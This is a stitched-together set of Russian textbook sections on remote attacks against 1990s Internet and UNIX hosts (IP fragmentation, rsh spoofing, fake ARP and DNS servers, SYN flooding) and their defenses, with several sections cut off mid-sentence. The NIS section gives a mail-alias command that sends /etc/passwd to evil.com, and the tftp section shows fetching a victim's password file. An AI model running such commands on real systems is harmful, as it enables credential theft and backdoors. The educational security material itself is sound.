IP-фрагментация как способ проникновения через Firewall

Как известно из описания протокола IP (RFC 791),максимальный размер IP-пакета может достигать 216-1 байт. Однако размер пакета (дейтаграм-мы), передаваемого непосредственно по каналу передачи, зависит от типа среды передачи. Например, в среде Ethernet максимальный размер дейтаграммы 1500 байт, в среде ATM - 56 байт. Поэтому для того, чтобы IP-пакеты могли передаваться по сетям любых типов, в протоколе IP предусмотрена фрагментация пакетов. То есть для передачи одного большого пакета он разбивается на соответствующее количество пакетов меньших размеров (их размер обуславливается максимальным размером пакета в соответствующей среде передачи). Этот процесс разбиения IP-пакета на части называется IP-фрагментацией. Применение в сети Internet фрагментации пакетов делает ее более гибкой и инвариантной по отношению к разнообразным физическим средам передачи. На рисунке 4.12 приведен формат IP-пакета версии IPv4.

Не будем вдаваться в подробности, что означает каждое поле в IP-заголовке (RFC 791), так как в данном случае нас будут интересовать только поля Fragment Offset и Flags. В поле Fragment Offset содержится значение, измеряемое восьмерками байт, обозначающее смещение фрагмента относительно начала дейтаграммы (именно на то, что оно измеряется в восьмерках байт, и не обратил внимание д-р F. B. Cohen в его статье "Packet Fragmentation Attacks" [28]). Таким образом, единица в этом поле означает смещение на 8 байт от начала дейтаграммы. Поле Flags показывает фрагментирован ли пакет или нет.

Итак, каков механизм предполагаемого воздействия? Как известно, одной из основных функций всех файрволов является фильтрация проходящего через них сетевого трафика. В случае фильтрации на сетевом уровне ограничивается возможность доступа к определенным службам защищаемых хостов. Тип службы, на которую направляется пакет, определяется параметром "порт назначения" в заголовке пакета TCP или UDP (рис 4.12). Поэтому файрвол анализирует этот параметр и проверяет его соответствие тем правилам фильтрации, которые на нем установлены. В случае соответствия правилам пакет пропускается дальше, в противном случае - отфильтровывается.

<<<	^^^	>>>

Использование эвристического подхода для определения целей

Чтобы не тратить время, пытаясь заразить не UNIX-систему, вирус иногда пытался установить связь с предполагаемой мишенью с помощью telnet или rsh; если это не удавалось, то вирус и не пытался ее заразить. Благодаря этому некоторые системы избежали заражения, т. к., хотя и поддерживали электронную почту, но отказывали в доступе telnet или rsh.

Использование ложного объекта для организации удаленной атаки на распределенную ВС

Получив контроль над проходящим потоком информации между объектами, ложный объект РВС может применять различные методы воздействия на перехваченную информацию. В связи с тем, что внедрение в распределенную ВС ложного объекта является целью многих удаленных атак и представляет серьезную угрозу безопасности РВС в целом, то в следующих пунктах будут подробно рассмотрены методы воздействия на информацию, перехваченную ложным объектом.

Использование недостатков идентификации абонентов TCP-соединения для атаки на rsh-сервер

В ОС UNIX существует понятие: доверенный хост. Доверенным по отношению к данному хосту называется сетевой компьютер, доступ на который пользователю с данного хоста возможен без его аутентификации и идентификации с помощью r-службы (r - сокращение от анг. "remote" - удаленный). Обычно в ОС UNIX существует файл rhosts, в котором находится список имен и IP-адресов доверенных хостов. Для получения к ним удаленного доступа пользователю необходимо воспользоваться программами, входящими в r-службу (например, rlogin, rsh и т.д.). В этом случае при использовании

r-программ с доверенного хоста пользователю для получения удаленного доступа не требуется проходить стандартную процедуру идентификации и аутентификации, заключающуюся в проверке его логического имени и пароля. Единственной аутентифицирующей пользователя информацией для r-службы является IP-адрес хоста, с которого пользователь осуществляет удаленный r-доступ (п. 8.2). Отметим, что все программы из r-службы реали-зованы на базе протокола TCP. Одной из программ, входящих в r-службу, является rsh, с помощью которой возможно осуществление данной атаки. Программа rsh (remoute shell) позволяет отдавать команды shell удаленному хосту. При этом (что чрезвычайно важно в данном случае!) для того, чтобы отдать команду, достаточно послать запрос, но необязательно получать на него ответ. При атаке на r-службу вся сложность для атакующего заключается в том, что ему необходимо послать пакет от имени доверенного хоста, то есть в качестве адреса отправителя необходимо указать IP-адрес доверенного хоста. Следовательно, ответный пакет будет отправлен именно на доверенный хост, а не на хост атакующего.

Схема удаленной атаки на rsh-сервер была впервые описана небезызвестным Р.Т. Моррисом-старшим в [27]. Она заключается в следующем (схема атаки изображена на рис 4.10).

Рис. 4.10. Подмена одного из участников TCP-соединения
при атаке на rsh-сервер.

Рис. 4.10.1. X-Hacker посылает на Хост A серию TCP-запросов
на создание соединения, заполняя тем самым очередь запросов,
с целью вывести из строя на некоторое время Хост A.

Использование нестойких алгоритмов идентификации объектов при создании виртуального канала

Ошибочно считать взаимодействие объектов по виртуальному каналу в распределенной ВС панацеей от всех проблем, связанных с идентификацией объектов РВС. ВК является необходимым, но не достаточным условием безо-пасного взаимодействия. Чрезвычайно важным в данном случае становится выбор алгоритма идентификации при создании ВК. Основное требование, которое следует предъявлять к данным алгоритмам, состоит в следующем: перехват ключевой информации, которой обмениваются объекты РВС при создании ВК не должен позволить атакующему получить итоговые идентификаторы канала и объектов (п. 6.2). Это требование по сути очевидно. Оно должно предъявляться к алгоритмам идентификации исходя из принципиальной возможности прослушивания атакующим канала передачи. Однако в большинстве существующих сетевых ОС в базовых алгоритмах идентификации, используемых при создании ВК, этим требованием разработчики практически пренебрегают. Так, например, в ОС Novell NetWare 3.12- 4.1 идентификатор канала - это число в диапазоне 0-FFh, идентификатор объекта (рабочей станции или файл-сервера) - также число от 0 до FFh; в протоколе TCP идентификаторами канала и объектов являются два 32-битных числа, формируемых в процессе создания TCP-соединения (п. 4.5).

Из всего сказанного ясно, что создание виртуального канала с использованием нестойкого алгоритма идентификации не позволяет надежно обезопасить РВС от подмены объектов взаимодействия и выступает одной из причин успеха удаленных атак на распределенные вычислительные системы.

Использование нестойких алгоритмов идентификации объектов при создании виртуального TCP-соединения

Как уже подчеркивалось, протокол TCP является единственным базовым протоколом транспортного уровня сети Internet, в функции которого заложена защита соединения. Однако использование простейшего алгоритма идентификации объектов при создании виртуального TCP-канала (п. 4.5), особенно при условии применения в сетевых ОС простейших времязависимых законов генерации TCP-иден-тификаторов (ISN), сводят на нет все попытки обеспечения идентификации канала и объектов при их взаимодействии по протоколу TCP.

Использование службы NIS

Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для доменов NIS. Подобно рассмотренным вариантам атак с помощью псевдонимов локальной почты, можно создать почтовые псевдонимы, которые будут выполнять команды, когда им приходит почта. Например, рассмотрим создание псевдонима "foo" , который посылает по почте файл паролей на evil.com, когда на его адрес поступает любое сообщение:

nis-master # echo 'foo: "| mail hacker@evil.com < /etc/passwd "' >> /etc/aliases

nis-master # cd /var/yp

nis-master # make aliases

nis-master # echo test | mail -v foo@victim.com

Таким образом, становится ясно, что NIS - ненадежная служба, которая почти не имеет аутентификации клиентов и серверов, и, если атакующий управляет активным NIS-сервером, то он также сможет эффективно управлять хостами клиентов (например, сможет выполнять произвольные команды).

Использование tftp

Существует также программа, подобная ftpd - tftpd. Этот демон не требует пароля для аутентификации. Если хост предоставляет tftp без ограничения доступа (обычно с помощью установок флагов безопасности в файле inetd.conf), то атакующий получает доступ по чтению и записи к любым файлам. Например, он может получить файл паролей с удаленной машины и разместить его в локальном каталоге /tmp:

evil % tftp

tftp> connect victim.com

tftp> get /etc/passwd /tmp/passwd.victim

tftp> quit

Это является атакой по сценарию 2.

Как администратору DNS-сервера защититься от ложного DNS-сервера?

Если отвечать на этот вопрос коротко, то, опять же, никак. Единственным способом затруднить осуществление данной удаленной атаки, это использовать для общения с хостами и с другими DNS-серверами только протокол TCP, а не UDP. Тем не менее, это только затруднит выполнение атаки - не забывайте как про возможный перехват DNS-запроса, так и про возможность математического предсказания начального значения TCP-идентификатора ISN (п. 4.5.1).

В заключение можно порекомендовать для всей сети Internet поскорее перейти либо к новой более защищенной версии службы DNS, либо принять единый стандарт на защищенный протокол. Сделать этот переход, несмотря на все колоссальные расходы, просто необходимо, иначе сеть Internet может быть просто поставлена на колени перед всевозрастающими успешными попытками нарушения ее безопасности при помощи данной службы!

Как администратору сети защититься от ложного DNS-сервера?

Если отвечать на этот вопрос коротко, то никак. Ни административно, ни программно нельзя защититься от атаки на существующую версию службы DNS. Оптимальным с точки зрения безопасности решением будет вообще отказаться от использования службы DNS в вашем защищенном сегменте! Конечно, совсем отказаться от использования имен при обращении к хостам для пользователей будет очень не удобно. Поэтому можно предложить следующее компромиссное решение: использовать имена, но отказаться от механизма удаленного DNS-поиска. Вы правильно догадались, что это возвращение к схеме, использовавшейся до появления службы DNS с выделенными DNS-серверами. Тогда на каждой машине в сети существовал hosts файл, в котором находилась информация о соответствующих именах и IP-адресах всех хостов в сети. Очевидно, что на сегодняшний день администратору можно внести в подобный файл информацию о лишь наиболее часто посещаемых пользователями данного сегмента серверах сети. Поэтому использование на практике данного решения чрезвычайно затруднено и, видимо, нереально (что, например, делать с броузерами, которые используют URL с именами?).

Для затруднения осуществления данной удаленной атаки можно предложить администраторам использовать для службы DNS вместо протокола UDP, который устанавливается по умолчанию, протокол TCP (хотя из документации далеко не очевидно, как его сменить). Это существенно затруднит для атакующего передачу на хост ложного DNS-ответа без приема DNS-запроса.

Общий неутешительный вывод таков: в сети Internet при использовании существующей версии службы DNS не существует приемлемого решения для защиты от ложного DNS-сервера (и не откажешься, как в случае с ARP, и использовать опасно)!

Как защититься от анализа сетевого трафика?

В п. 4.1 рассматривалась атака, позволяющая кракеру при помощи программного прослушивания канала передачи сообщений в сети перехватывать любую информацию, которой обмениваются удаленные пользователи, если по каналу передаются только нешифрованные сообщения. Также в этом пункте было показано, что базовые прикладные протоколы удаленного доступа TELNET и FTP не предусматривают элементарную криптозащиту передаваемых по сети даже идентификаторов (имен) и аутентификаторов (паролей) пользователей. Поэтому администраторам сетей, очевидно, можно порекомендовать не допускать использование этих базовых протоколов для предоставления удаленного авторизованного доступа к ресурсам своих систем и считать анализ сетевого трафика той постоянно присутствующей угрозой, которую невозможно устранить, но можно сделать ее осуществление по сути бессмысленным, применяя стойкие криптоалгоритмы защиты IP-потока (п. 7.2.2.1).

Как защититься от ложного ARP-сервера?

Коротко напомним, что в п. 4.2 рассматривалась удаленная атака, использующая недостатки в механизме удаленного поиска на базе протокола ARP. В том случае, если у сетевой ОС отсутствует информация о соответствии IP- и Ethernet-адресов хостов внутри одного сегмента IP-сети, данный протокол позволяет посылать широковещательный ARP-запрос на поиск необходимого Ethernet-адреса, на который атакующий может прислать ложный ответ, и, в дальнейшем, весь трафик на канальном уровне окажется перехваченным атакующим и пройдет через ложный ARP-сервер. Очевидно, что для ликвидации данной атаки необходимо устранить причину, по которой возможно ее осуществление. Основная причина успеха данной удаленной атаки - отсутствие необходимой информации у ОС каждого хоста о соответствующих IP- и Ethernet-адресах всех остальных хостов внутри данного сегмента сети. Таким образом, самым простым решением будет создание сетевым администратором статической ARP-таблицы в виде файла (в ОС UNIX обычно /etc/ethers), куда необходимо внести соответствую-щую информацию об адресах. Данный файл устанавливается на каждый хост внутри сегмента, и, следовательно, у сетевой ОС отпадает необходимость в использовании удаленного ARP-поиска. Правда, отметим, что ОС Windows '95 это не помогает (4.2).

Как защититься от ложного DNS-сервера?

В 4 главе было наглядно показано, что использование в сети Internet службы DNS в ее нынешнем виде может позволить кракеру получить глобальный контроль над соединениями путем навязывания ложного маршрута через хост кракера - ложный DNS-сервер. Осуществление этой удаленной атаки, основанной на потенциальных уязвимостях службы DNS, может привести к катастрофическим последствиям для огромного числа пользователей Internet и стать причиной массового нарушения информационной безопасности данной глобальной сети (п. 4.3). В следующих двух пунктах предлагаются возможные административные методы по предотвращению или затруднению данной удаленной атаки для администраторов и пользователей сети и для администраторов DNS-серверов.

Как защититься от навязывания ложного маршрута при использовании протокола ICMP?

Как вы помните, в п. 4.4 рассматривалась удаленная атака, которая заключалась в передаче на хост ложного ICMP Redirect сообщения о смене исходного маршрута. Эта атака приводила как к перехвату атакующим информации, так и к нарушению работоспособности атакуемого хоста. Для того, чтобы защититься от данной удаленной атаки, необходимо либо фильтровать данное сообщение (используя Firewall или фильтрующий маршрутизатор), не допуская его попадания на конечную систему, либо соответствующим образом выбирать сетевую ОС, которая будет игнорировать это сообщение. Однако обычно не существует административных способов повлиять на сетевую ОС так, чтобы запретить ей изменять маршрут и реагировать на данное сообщение. Единственный способ, например, в случае ОС Linux или FreeBSD заключается в том, чтобы изменить исходные тексты и перекомпилировать ядро ОС. Очевидно, что такой экзотический для многих способ возможен только для свободно распространяемых вместе с исходными текстами операционных систем. Обычно на практике не существует иного способа узнать реакцию используемой у вас ОС на ICMP Redirect сообщение, как послать данное сообщение и посмотреть, каков будет результат. Эксперименты показали, что данное сообщение позволяет изменить маршрутизацию на ОС Linux 1.2.8, Windows '95 и Windows NT 4.0. Следует отметить, что (как это видно из 4 главы) продукты компании Microsoft не отличаются особой защищенностью от возможных удаленных атак, присущих IP-сетям. Следовательно, использовать данные ОС в защищенном сегменте IP-сети представляется нежелательным. Это и будет тем самым административным решением по защите сегмента сети от данной удаленной атаки.

Как защититься от отказа в обслуживании?

Как не раз уже отмечалось, нет и не может быть приемлемых способов защиты от отказа в обслуживании в существующем стандарте IPv4 сети Internet (глава 5)! Это связано с тем, что в данном стандарте невозможен контроль за маршрутом сообщений. Поэтому невозможно обеспечить надежный контроль за сетевыми соединениями, так как у одного субъекта сетевого взаимодействия существует возможность занять неограниченное число каналов связи с удаленным объектом и при этом остаться анонимным (5.1.3). Из-за этого любой сервер в сети Internet может быть полностью парализован при помощи удаленной атаки, рассмотренной в п. 4.6.

Единственное, что можно предложить для повышения надежности работы системы, подвергаемой данной атаке, - это использовать как можно более мощные компьютеры. Чем больше число и частота работы процессоров, чем больше объем оперативной памяти, тем более надежной будет работа сетевой ОС, когда на нее обрушится направленный "шторм" ложных запросов на создание соединения. Кроме того, необходимо использование соответствующих вашим вычислительным мощностям операционных систем с внутренней очередью, способной вместить большое число запросов на подключение. Ведь от того, что вы, например, поставите на суперЭВМ операционную систему Linux или Windows NT, у которых длина очереди для одновременно обрабатываемых запросов около 10, а тайм-аут очистки очереди несколько минут, то, несмотря на все вычислительные мощности компьютера, ОС будет полностью парализована атакующим.

Общий вывод по противодействию данной атаки в существующем стандарте IPv4 следующий: просто расслабьтесь и надейтесь на то, что вы ни для кого не представляете интереса, или покупайте суперЭВМ с соответствующей ей сетевой ОС.

Как защититься от подмены одной

Как отмечалось ранее, единственным базовым

протоколом семейства TCP/IP, в котором изначально предусмотрена функция обеспечения безопасности соединения и его абонентов, является протокол транспортного уровня - протокол TCP. Что касается базовых протоколов прикладного уровня: FTP, TELNET, r-служба, NFS, HTTP, DNS, SMTP, то ни один из них не предусматривает дополнительную защиту соединения на своем уровне и оставляет решение всех проблем по обеспечению безопасности соединения протоколу более низкого транспортного уровня - TCP. Однако, вспомнив о возможных атаках на TCP-соединение, рассмотренных в п. 4.5, где было отмечено, что при нахождении атакующего в одном сегменте с целью атаки защититься от подмены одного из абонентов TCP-соединения в принципе невозможно, а в случае нахождения в разных сегментах из-за возможности математического предсказания идентификатора TCP-соединения ISN также реальна подмена одного из абонентов, несложно сделать вывод, что при использовании базовых протоколов семейства TCP/IP обеспечить безопасность соединения практически невозможно! Это происходит из-за того, что, к сожалению, все базовые протоколы сети Internet с точки зрения обеспечения информационной безопасности невероятно устарели.

Единственно, что можно порекомендовать сетевым администраторам для защиты только от межсегментных атак на соединения - в качестве базового "защищенного" протокола использовать протокол TCP и сетевые ОС, в которых начальное значение идентификатора TCP-соединения действительно генерируется случайным образом (неплохой псевдослучайный алгоритм генерации используется в последних версиях ОС FreeBSD). (Подчеркнем, что здесь говорилось только о базовых протоколах семейства TCP/IP, а все защищенные протоколы типа SSL, S-HTTP, Kerberos и т. д. не являются базовыми - п. 7.2.2.1.)

Как защититься от удаленных атак в сети Internet?

<<<	^^^	>>>

Прежде чем говорить о различных аспектах обеспечения информационной безопасности в сети Internet, пользователь должен постараться найти ответ на вопрос: "А есть ли мне, что защищать?" . Вы скажете, странный вопрос. Ничуть! Особенность сети Internet на сегодняшний день состоит в том, что 99% процентов информационных ресурсов сети являются общедоступными. Удаленный доступ к этим ресурсам может осуществляться анонимно любым неавторизованным пользователем сети. Примером подобного неавторизованного доступа к общедоступным ресурсам является подключение к WWW- или FTP-серверам, в том случае, если подобный доступ разрешен. Теперь, даже если при помощи одной из описанных удаленных атак из предыдущей главы трафик пользователя будет, например, перехвачен и пройдет через сегмент сети атакующего, то последний не получит ничего, кроме и так общедоступной информации, а, следовательно, в подобной атаке для кракера нет абсолютно никакого смысла! Поэтому первый вопрос, на который должен ответить каждый пользователь, заключается в выборе вида удаленного доступа к ресурсам сети. Если пользователь планирует осуществлять в сети Internet только неавторизованный удаленный доступ к различным информационным ресурсам, то заботиться о безопасности соединения ему абсолютно не требуется! Если же все-таки планируется авторизованный доступ к удаленным ресурсам, то без обращения должного внимания на проблемы безопасности никак не обойтись.

Определившись, к каким ресурсам сети Internet пользователь намерен осуществлять доступ, необходимо ответить на следующий вопрос: а собирается ли пользователь разрешать удаленный доступ из сети к своим ресурсам? Если нет, то тогда имеет смысл использовать в качестве сетевой ОС "чисто клиентскую" ОС (например, Windows '95 или NT Workstation), которая не содержит программ-серверов, обеспечивающих удаленный доступ, а, следовательно, удаленный доступ к данной системе в принципе невозможен, так как он просто программно не предусмотрен (например, ОС Windows '95 или NT, правда с одним но: под данные системы действительно нет серверов FTP, TELNET, WWW и т. д., но нельзя забывать про встроенную в них возможность предоставления удаленного доступа к файловой системе, так называемое разделение (share) ресурсов. А вспомнив по меньшей мере странную позицию фирмы Microsoft по отношению к обеспечению безопасности своих систем, нужно серьезно подумать, прежде чем остановить выбор на продуктах данной фирмы. Последний пример: в Internet появилась программа, предоставляющая атакующему несанкционированный удаленный доступ к файловой системе ОС Windows NT 4.0!). Выбор клиентской операционной системы во многом решает проблемы безопасности для данного пользователя (нельзя получить доступ к ресурсу, которого просто нет!). Однако в этом случае ухудшается функциональность системы. Здесь своевременно сформулировать, на наш взгляд, основную аксиому безопасности:

Как же защитить свой хост

Впитав такой впечатляющий набор фактов об уязвимости вашей системы, вы, несомненно, задаете себе вопрос: как же обеспечить защиту в сети и, вообще, возможно ли это? Не будем дискутировать на философскую тему "почему абсолютная защита невозможна?"

В любом случае, сделать все, чтобы максимально ее улучшить - задача любого администратора безопасности. Надеемся также, что вы уже прочитали рассуждения в главе 7 по вопросу "А есть ли, что мне защищать?" .

Проанализировав причины, по которым происходят успешные нападения на хосты UNIX, нам будет легче сформулировать те принципы, на которых будет строиться защита. При этом будем придерживаться следующих концепций:

актуальность - защищаться надо от реальных атак, а не от фантастических или, наоборот, времен вируса Морриса; разумность затрат - поскольку 100% защиты мы все равно не обеспечим, надо найти тот рубеж, за которым затраты на дальнейшее повышение безопасности оказываются выше стоимости той информации, которую может украсть кракер.

Итак, ниже приводится список очень простых правил и действий (некоторые идеи взяты из [25]), за которым следует процент отсеченных на этом этапе кракеров. Поставив перед собой цель защитить свой хост на N процентов, вы можете сами решить, на каком из них вам остановиться:

Прочитайте, наконец, руководство по администрированию вашей системы, и наверняка вы найдете там некоторые полезные советы, которые захотите применить. Поставьте последние версии sendmail, ftpd и httpd. Этим вы сразу отсеете до 30% (самых невежественных или ленивых) кракеров. Запустите программу автоматизированного контроля вашего хоста, типа SATAN или ISS. Почему типа? Дело в том, что на сегодняшний день эти программы явно устарели (см. п. 8.9), а новых мы пока не можем вам предложить. Из этого не следует, что, когда вы будете читать эти строки, таковых не появится. Вероятно, они сделают то же, что и предлагается ниже, только вам это будет стоить гораздо меньше. Проверьте настройки вашего NFS-сервиса, а также содержимое файлов /etc/hosts.equiv и .rhosts (или подобных) для каждого пользователя. У NFS не должно быть экспорта любых каталогов для everyone, а необходимость включения каждого доверенного хоста должна быть еще раз проверена. Уже до 50% кракеров не смогут забраться к вам. Сходите в CERT или CIAC (см. адреса в приложении) и внимательно прочитайте их бюллетени за последнее время. Установите все рекомендуемые патчи (patch). Этим вы отсеете еще 20% взломщиков, так что уже 70% вы сможете остановить. Правильно настройте (или установите) ваш файрвол. Из этого не следует, что вы должны запретить все и всем, запретите лишь все неиспользуемые вами порты и протоколы. Поставьте сетевой монитор безопасности IP-Alert 1 (см. п. 7.2.2.2). Уже более 80% злоумышленников будет скрежетать зубами от злости. Станьте на несколько часов хакером и напустите на файл /etc/passwd (или затененный (shadow) аналог / etc/ shadon) последний взломщик паролей. Здесь у вас большое преимущество перед хакерами - этот файл слишком просто получить, и грех не воспользоваться такой удачей. С теми пользователями, пароли которых были вскрыты автоматически, надо усилить разъяснительную работу. Не забудьте затенить ваш файл паролей. Еще 10% кракеров будет убито наповал, и вы победили уже 90% из них. Проверьте настройки всех остальных служб, особенно использующих доверие (типа NIS или X-Window). Откажитесь от них по возможности - и празднуйте победу над около 95% взломщиков. Сходите еще раз в CERT или CIAC и прочитайте ВСЕ

Классификация удаленных атак на распределенные вычислительные системы

Основная цель любой классификации состоит в том, чтобы предложить такие классификационные признаки, используя которые можно наиболее точно описать классифицируемые явления или объекты. В связи с тем, что ни в одном из известных авторам научном исследовании не проводилось различия между локальными и удаленными информационными воздействиями на ВС, то применение уже известных обобщенных классификаций для описания удаленных воздействий не позволяет наиболее точно раскрыть их сущность и описать механизмы и условия их осуществления. Это связано с тем, что данный класс воздействий характеризуется сугубо специфичными признаками для распределенных вычислительных систем. Поэтому для более точного описания удаленных атак и предлагается следующая классификация.

Итак, удаленные атаки можно классифицировать по следующим признакам:

Контроль за маршрутом сообщения в распределенной ВС

Как известно, каждый объект распределенной ВС должен обладать адресом, уникально его идентифицирующим. Для того, чтобы сообщение от одного объекта было передано на другой объект системы, оно должно пройти через цепь маршрутизаторов, задача которых- проанализировав адрес назначения, указанный в сообщении, выбрать оптимальный маршрут и, исходя из него, переправить пакет или на следующий маршрутизатор или непосредственно абоненту, если он напрямую подключен к данному узлу. Таким образом, маршрут до объекта определяется цепочкой узлов, пройденных сообщением. Как было показано в п. 5.1.4, маршрут сообщения может являться информацией, аутентифицирующей с точностью до подсети подлинность адреса субъекта, отославшего сообщение. Очевидно, что перед любой системой связи объектов в РВС встает стандартная проблема проверки подлинности адреса сообщения, пришедшего на объект. Эту задачу, с одной стороны, можно решить, введя дополнительную идентификацию сообщений на другом, более высоком уровне OSI. Так, адресация осуществляется на сетевом уровне, а дополнительная идентификация, например, на транспортном. Однако подобное решение не позволит избежать проблемы контроля за созданием соединений (п. 5.1.3), так как дополнительная идентификация абонентов будет возможна только после создания соединения. Поэтому разработчикам распределенной ВС можно предложить следующие пути решения проблемы.

В первом случае функцию проверки подлинности адреса отправителя можно возложить на маршрутизатор. Это несложно сделать, так как маршрутизатор может отследить, откуда к нему пришел пакет (от другого маршрутизатора или от подключенного к нему хоста из подсетей, напрямую подключенных к данному маршрутизатору). Маршрутизатор может проверять соответствие адреса отправителя с адресом соответствующей подсети, откуда пришло сообщение. В случае совпадения сообщение пересылается далее, а в противном случае - отфильтровывается. Этот способ позволит на начальной стадии отбросить пакеты с неверными адресами отправителя.

Контроль за виртуальными соединениями в распределенной ВС

В предыдущей главе было показано, что взаимодействие объектов РВС по виртуальному каналу позволяет надежно защитить соединение от возможных информационно-разрушающих воздействий по каналам связи. Однако, как это отмечалось в п. 5.1.3, взаимодействие по ВК имеет свои минусы. К минусам относится необходимость контроля за соединением. Если в системе связи удаленных объектов РВС не предусмотреть использование надежных алгоритмов контроля за соединением, то, избавившись от одного типа удаленных атак на соединение ("Подмена доверенного объекта" - см. п. 3.2.2), можно подставить систему под другую типовую УА - "Отказ в обслуживании" (п. 3.2.4). Поэтому для обеспечения надежного функционирования и работоспособности (доступности) каждого объекта распределенной ВС необходимо прежде всего контролировать процесс создания соединения. Как уже говорилось в п. 5.1.3, задача контроля за ВК распадается на две подзадачи:

контроль за созданием соединения; контроль за использованием соединения.

Решение второй задачи лежит на поверхности: так как сетевая операционная система не может одновременно иметь бесконечное число открытых ВК, то в том случае, если ВК простаивает в течение определенного системой тайм-аута, происходит его закрытие.

Далее рассмотрим возможный алгоритм, позволяющий обеспечить контроль за созданием соединения в РВС.

Основная задача, которую необходимо решить в данном случае, состоит в том, чтобы не позволить одному субъекту взаимодействия занять все виртуальные каналы системы. Процесс создания ВК был рассмотрен в п. 3.2.4. Напомним, что при создании ВК полученный системой запрос на создание соединения ставится в очередь запросов, и, когда до него дойдет время, система выработает ответ на запрос и отошлет его обратно отправителю запроса. Задача контроля за созданием соединения заключается как раз в том, чтобы определить те правила, исходя из которых система могла бы либо поставить запрос в очередь, либо нет. Если все пришедшие запросы автоматически ставятся системой в очередь (так построены все сетевые ОС, поддерживающие протокол TCP/IP), то это в случае атаки ведет к переполнению очереди и к отказу в обслуживании всех остальных легальных запросов. Такое происходит из-за того, что атакующий посылает в секунду столько запросов, сколько позволит трафик (тысячи запросов в секунду), а обычный пользователь с легальным запросом на подключение может послать лишь несколько запросов в минуту! Следовательно, вероятность подключения втакой ситуации, при условии переполнения очереди, один к миллиону в лучшем случае. Поэтому необходимо ввести ограничения на постановку в очередь запросов от одного объекта. Однако, если в РВС любой объект системы может послать запрос от имени (с адреса) любого другого объекта системы, то, как отмечалось ранее, решить задачу контроля не представляется возможным. Поэтому для обеспечения этой возможности было введено Утверждение 5, исходя из которого в каждом пришедшем на объект пакете должен быть указан пройденный им маршрут, позволяющий с точностью до подсети подтвердить подлинность адреса отправителя. Учитывая данный факт, позволяющий отсеять все пакеты с неверным адресом отправителя, можно предложить следующее условие постановки запроса в очередь: в системе вводится ограничение на число обрабатываемых в секунду запросов из одной подсети.

Литература

Robert H'obbes' Zakon. Hobbes' Internet Timeline v2.5.

Barry Leiner. A Brief History of the Internet.

Gregory R. Gromov. The Roads and Crossroads of Internet's History,1996.

Henry Edward Hardy. The History of the Net. Master's Thesis School of Communications Grand Valley State University Allendale, MI, 1993.

Vinton G. Cerf. The Internet Phenomenon.

Gary Anthes. “Отец” Internet. Computer World. Москва, N 15, 1994. Computer World.

Morris R.T. A Weakness in the 4.2 BSD UNIX TCP/IP Software. Computing Science Technical Report No. 117, AT&T Bell Laboratories, Murray Hill, New Jersey, 1985.

Dan Farmer. Shall We Dust Moscow? 18 December 1996.

Теория и практика обеспечения информационной безопасности, под редакцией Зегжды П.Д., Изд. “Яхтсмен”, 1996.

Гайкович В., Першин А.. Безопасность электронных банковских систем., Изд. “Единая Европа”, 1994.

Ростовцев А. Г. Элементы Криптологии, Изд. СПбГТУ

Клименко С., Уразметов В., Internet. Среда обитания информационного общества, Российский Центр Физико-Технической Информатики, 1995.

U.S. Office of Technology Assessment “Information security and privacy in network environments.”

Bellovin S. Security Problems in the TCP/IP Protocol Suite.

Larry Lange. 'Hack' punches hole in Microsoft NT security. EE Times, 31.03.97.

Dan Farmer, Wietse Venema. Improving the Security of Your Site by Breaking Into it.

Клиффорд Столл. Яйцо кукушки.

Mark W. Eichin, Jon A. Rochils. With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988.

Eugene H. Spafford. The Internet Worm Program: An Analysis.

CIAC information bulletin H-07: Sendmail SIGHUP-smtpd Vulnerability.

CIAC information bulletin H-23: Sendmail MIME Conversion Buffer Overrun Vulnerability.

CIAC information bulletin H-34: Vulnerability in innd.

Carl E. Landwehr, Alan R. Bull, John P. McDermott, and William S.Choi. A Taxonomy of Computer Security Flaws, with Examples. Information Technology Division, Code 5542, Naval Research Laboratory, Washington, D.C. 20375-5337.

Ложный ARP-сервер в сети Internet

Как уже неоднократно подчеркивалось, в вычислительных сетях связь между двумя удаленными хостами осуществляется путем передачи по сети сообщений, которые заключены в пакеты обмена. В общем случае передаваемый по сети пакет независимо от используемого протокола и типа сети (Token Ring, Ethernet, X.25 и др.) состоит из заголовка пакета и поля данных. В заголовок пакета обычно заносится служебная информация, определяемая используемым протоколом обмена и необходимая для адресации пакета, его идентификации, преобразования и т. д. В поле данных помещаются либо непосредственно данные, либо другой пакет более высокого уровня OSI. Так, например, пакет транспортного уровня может быть вложен в пакет сетевого уровня, который, в свою очередь, вложен в пакет канального уровня. Спрое-цировав это утверждение на сетевую ОС, использующую протоколы TCP/IP, можно утверждать, что пакет TCP (транспортный уровень) вложен в пакет IP (сетевой уровень), который, в свою очередь, вложен в пакет Ethernet (канальный уровень). Следующая схема наглядно иллюстрирует как выглядит, например, TCP-пакет в сети Internet:

Рис.4.2. Структура TCP-пакета

Рассмотрим схему адресации пакетов в сети Internet и возникающие при этом проблемы безопасности. Как известно, базовым сетевым протоколом обмена в сети Internet является протокол IP (Internet Protocol). Протокол IP - это межсетевой протокол, позволяющий передавать IP-пакеты в любую точку глобальной сети. Для адресации на сетевом уровне (IP-уровне) в сети Internet каждый хост имеет уникальный 32-разрядный IP-адрес. Для передачи IP-пакета на хост необходимо указать в IP-заголовке пакета в поле Destination Address IP-адрес данного хоста. Однако, как видно из рис. 4.2, IP-пакет находится внутри аппаратного пакета (в случае среды передачи Ethernet IP пакет находится внутри Ethernet-пакета), поэтому каждый пакет в сетях любого типа и с любыми протоколами обмена в конечном счете адресуется на аппаратный адрес сетевого адаптера, непосредственно осуществляющего прием и передачу пакетов в сеть (в дальнейшем мы будем рассматривать только Ethernet-сети).

Ложный DNS-сервер в сети Internet

Как известно, для обращения к хостам в сети Internet используются 32-разрядные IP-адреса, уникально идентифицирующие каждый сетевой компьютер в этой глобальной сети. Однако, для пользователей применение IP-адресов при обращении к хостам является не слишком удобным и далеко не самым наглядным.

В самом начале зарождения Internet для удобства пользователей было принято решение присвоить всем компьютерам в сети имена. Использование имен позволяет пользователю лучше ориентироваться в киберпространстве сети Internet - куда проще, понятней и наглядней для пользователя запомнить, например, имя www.ferrari.it, чем четырехразрядную цепочку

